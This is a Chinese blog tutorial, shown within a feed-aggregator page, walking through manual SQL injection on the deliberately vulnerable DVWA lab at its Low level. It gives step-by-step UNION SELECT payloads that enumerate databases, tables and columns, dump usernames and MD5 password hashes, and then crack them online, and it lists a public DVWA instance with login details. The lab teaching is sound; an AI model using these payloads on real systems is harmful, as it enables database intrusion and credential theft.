惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Know Your Adversary
Know Your Adversary
阮一峰的网络日志
阮一峰的网络日志
V
Visual Studio Blog
H
Help Net Security
博客园 - Franky
博客园_首页
博客园 - 【当耐特】
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
腾讯CDC
人人都是产品经理
人人都是产品经理
T
Tailwind CSS Blog
博客园 - 三生石上(FineUI控件)
爱范儿
爱范儿
博客园 - 聂微东
小众软件
小众软件
宝玉的分享
宝玉的分享
美团技术团队
WordPress大学
WordPress大学
L
LINUX DO - 热门话题
S
Secure Thoughts
IT之家
IT之家
博客园 - 叶小钗
Apple Machine Learning Research
Apple Machine Learning Research
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
有赞技术团队
有赞技术团队
V
V2EX
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
The Cloudflare Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
量子位
G
GRAHAM CLULEY
Attack and Defense Labs
Attack and Defense Labs
Jina AI
Jina AI
罗磊的独立博客
Security Archives - TechRepublic
Security Archives - TechRepublic
W
WeLiveSecurity
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
T
Tenable Blog
L
Lohrmann on Cybersecurity
S
SegmentFault 最新的问题
J
Java Code Geeks
Last Week in AI
Last Week in AI
Cyberwarzone
Cyberwarzone
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
大猫的无限游戏
大猫的无限游戏
T
Tor Project blog
酷 壳 – CoolShell
酷 壳 – CoolShell
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
H
Heimdal Security Blog

技术改变视野

为程序员、设计师打造的摸鱼社区:摸鱼派! - 技术改变视野 大白话 | Java初学指♂男:“说说初学的误区与死结”( 壹 | 反射与Field ) - 技术改变视野 大白话之耦合性:什么是耦合性和内聚性?用编程语言实例讲解! - 技术改变视野 🎨 适用于 Solo / Bolo 的清新高级主题 —— Sakura | 移植自 WordPress 主题 - 技术改变视野 我在 GitHub 上的开源项目 - 技术改变视野 为IDEA/Git配置GPG密钥,点亮GitHub Verified Commit标识 - 技术改变视野 从 SpringMVC 转为使用 SpringBoot —— 手把手带你使用 Intellij IDEA 最快速地搭建 SpringBoot+MyBatis(无 XML)+Thymeleaf - 技术改变视野 无题 - 技术改变视野 年轻人的第一辆京牌电动车 - 技术改变视野 我们忙碌且漫长的一生,有多久是为自己而活? - 技术改变视野 一个最简单的实例理解Semaphore在Java中的作用 - 技术改变视野 说说《后浪》 - 技术改变视野 离线使用 Google Fonts:让你的网站更精致 | goofoffline 神器,一键下载生成离线字体库! - 技术改变视野 实例带你学会简单的Java Thread多线程 - 技术改变视野 一个实例理解Java的接口(interface)用处与用法 - 技术改变视野 一个实例带你理解JavaBean - 技术改变视野 WebFilter-SpringBoot过滤器注解实例讲解 - 技术改变视野 实例带你搞懂Java多线程&&线程池之(壹):线程池与多线程的关系和区别 - 技术改变视野 实例带你搞懂Java多线程&&线程池之(贰):简单的线程池应用 - 技术改变视野 实例带你获取多线程Thread的返回值之 (壹) - Callable的运行 - 技术改变视野 实例带你获取多线程Thread的返回值之 (贰) - Callable配合线程池返回数据 - 技术改变视野 一个实例理解Java Runnable多线程用处与用法 - 技术改变视野 从零开始OpenSSL之 (壹) - 使用genrsa、rsa、rsautl生成公私钥 - 技术改变视野 从零开始 OpenSSL 之 (贰) - 使用 rsautl 解密文件 - 技术改变视野 大白话之Docker(壹):快速入门&&简单官方实例 - 技术改变视野 大白话之Docker(贰):简单部署一个Tomcat服务并发布内容 - 技术改变视野 大白话之从零讲解DVWA(贰)-SQL注入(SQL Injection) Medium/High Level - 技术改变视野 Java日志插件-Slog4J下载 - 技术改变视野 大白话之必会Java Atomic | 线程一点也不安全(一):比自增和synchronized更快速、靠谱的原子操作(调用C语言) - 技术改变视野 Log-MySQL root用户登录后无法查看数据库全部表/正常访问数据库 Access denied for user 'root'@'localhost' to database - 技术改变视野 大白话之Docker(叁):制作一个运行Tomcat服务端的Docker镜像 - 技术改变视野 Github仅保留指定文件/文件夹当前Commit,删除所有历史记录,清除「敏感信息」 - 技术改变视野 将Tomcat、MySQL从Linux迁移到Windows的心路历程(干货):令人恐惧的字符编码 - 技术改变视野 Spring: java.lang.NoSuchMethodError: clearCache | ClassNotFoundException | Error during artifact deployment 思路及解决办法 - 技术改变视野 大白话之Java反射-初学最迷的概念:能干啥?咋用? - 技术改变视野 大白话之Java面向接口编程:最“正经”的中文实例讲解,看不懂来打我! - 技术改变视野 大白话 | 课堂实践:使用Iterator对数组进行遍历 - 技术改变视野 大白话之fail-fast | fail-safe:为什么会有这个机制?它有什么作用? - 技术改变视野 刨根问底 | 大白话:在使用注解后,框架是怎么知道你哪个方法使用了注解的?用@RequestMapping注解举例详解! - 技术改变视野 大白话之必会Java Atomic | 线程一点也不安全(二):Atomic的ABA问题会导致什么情况?如何解决? - 技术改变视野 随笔 | 奇淫技巧 | Java:记return和短路运算符的妙用 - 技术改变视野 随笔 | Tomcat:续-从Linux迁移到Windows编码问题彻底解决 - 技术改变视野 大白话之AutoClosable接口 | try-with-resources:JDK1.7的新特性,提高重复回收效率 - 技术改变视野 大白话之Java多线程join方法:开局一张图,试学一分钟,你就费和我一样,理解介个方法 - 技术改变视野 大白话之Java Stream流:将类数组流化,便捷批量修改,通俗讲解! - 技术改变视野 Java 困扰三周の问题:使用byte[]或skip()方法读取字节流Stream文件尾部多/少/缺字节解决方法 - 技术改变视野 大白话之Java级联调用:一个类,一条语句,同时调用好几个方法,串成一串 - 技术改变视野
大白话之从零讲解DVWA(壹)-SQL注入(SQL Injection) Low Level - 技术改变视野
adlered · 2019-12-09 · via 技术改变视野

前言

在阅读此文章前,你需要先理解以下知识:

  • PHP基本知识(数据库连接、基本语法)
  • SQL注入的基本原理
  • MySQL:order by 排序
  • MySQL:union的作用和用法
  • MySQL:group_concat的作用和用法
  • MySQL:通过information_schema读取数据库信息
  • MySQL:使用--#注释语句
  • MD5的基本实现原理

SQLMap是一款自动SQL注入的工具,但有时它并不足够灵活。手工注入能帮助我们深入了解Web渗透的灵魂,本章我们使用DVWA进行手工SQL注入的模拟测试。

SQL注入

搭建DVWA

此步骤我们不多说,如果你不想在本地搭建虚拟机和DVWA,可以到下面这个公共站点:

http://43.247.91.228:81

用户名:admin
密码:password

设置级别

点击左侧DVWA Security,在右侧你可以看到三个选项:

Low 低级
Medium 中级
High 高级

image.png

调整等级,就可以调整难度。

低级

选择SQL Injection,我们可以看到一个输入框:

image.png

是的,你在输入框中输入用户ID,就能返回用户的信息。

测试列

在输入框中输入:

11' order by 3 #

#用于将后面的语句全部注释,将语句末尾控制在我们的手里,防止出现意外语法错误。

你会获得返回结果:

1Unknown column '3' in 'order clause'

这是因为我们使用order方法将第三列排序,然而并没有第三列

更换语句:

11' order by 2 # 

此时你会发现结果被成功返回了:

1ID: 1' order by 2 # 
2First name: admin
3Surname: admin

这说明该数据表有2列,所以如果我们要使用union进行联合查询的时候,也要查询2列。输入语句:

11' union select 1,2 # 

你会得到返回结果:

1ID: 1' union select 1,2 #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,2 #   
6First name: 1  
7Surname: 2

这说明第一列会被显示为First name,第二列会被显示为Surname

组建语句

目前已知可渗透条件

  1. 语句执行方法:1' [SQL语句] #
  2. 如要使用union联合查询,必须返回两列,否则将报错。

好的,那么我们需要先组建一条语句用于获取数据库信息。

获取全部数据库

1select group_concat(schema_name) from information_schema.schemata 

你可以搭建一个本地MySQL,并对本语句进行测试。

将注入语句与其拼接:

11' union select group_concat(schema_name) from information_schema.schemata # 

填写到输入框中,我们会得到返回结果:

1The used SELECT statements have a different number of columns

原因是由于我们使用union查询列数不同导致的。修改语句:

11' union select 1,group_concat(schema_name) from information_schema.schemata # 

这里添加的1,是直接选择的结果,将1定义为第一列的结果。得到如下返回结果:

1ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #   
6First name: 1  
7Surname: information_schema,dvwa,mysql,performance_schema

此时DVWA返回了MySQL中的全部数据库。

尝试删除group_concat()保留其括号中的列名,比对运行结果的不同。

获取当前所在数据库

如要查询DVWA正在使用哪个数据库,你可以组建语句:

11' union select 1,database() # 

得到返回结果:

1ID: 1' union select 1,database() #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,database() #   
6First name: 1  
7Surname: dvwa

此处的database()方法可以获取当前使用的数据库。

显示数据库中所有表

刚刚我们查询得知了DVWA正在使用的数据库名为dvwa。现在我们组建语句查询该数据库中所有表:

11' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 

返回结果:

1ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #   
6First name: 1  
7Surname: guestbook,users

我们可以看到,当前数据库(dvwa)中有两个表:guestbookusers

获取表中列名

整理一下,现在我们的目标是:

  1. 数据库名:dvwa
  2. 表名:users
  3. 求:users表中的列名

组建语句:

11' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" # 

返回结果:

1ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #   
2First name: admin  
3Surname: admin
4
5ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #   
6First name: 1  
7Surname: user_id,first_name,last_name,user,password,avatar

现在我们得知,users表中的列为:user_idfirst_namelast_nameuserpasswordavatar

获取列中数据

最后一步,我们现在已知情况为:

  1. 数据库名:dvwa
  2. 表名:users
  3. 重要的列名:user、password

组建语句:

11' union select user,password from dvwa.users # 

返回结果:

 1ID: 1' union select user,password from dvwa.users #   
 2First name: admin  
 3Surname: admin
 4
 5ID: 1' union select user,password from dvwa.users #   
 6First name: admin  
 7Surname: 5f4dcc3b5aa765d61d8327deb882cf99
 8
 9ID: 1' union select user,password from dvwa.users #   
10First name: gordonb  
11Surname: e99a18c428cb38d5f260853678922e03
12
13ID: 1' union select user,password from dvwa.users #   
14First name: 1337  
15Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
16
17ID: 1' union select user,password from dvwa.users #   
18First name: pablo  
19Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
20
21ID: 1' union select user,password from dvwa.users #   
22First name: smithy  
23Surname: 5f4dcc3b5aa765d61d8327deb882cf99

可以看到我们成功返回了用户名和密码。但这个密码是加密的,你可能觉得比较眼熟,这么长大概率是用了md5加密

访问md5解密网站

这里推荐PMD5,在网站中输入MD5加密后的密码,我们就能得到真实密码:

image.png

后语

至此,我们完成了低等级的手工SQL注入。在第二章,我们将继续进行其它等级的注入测试。

点我跳转至第二章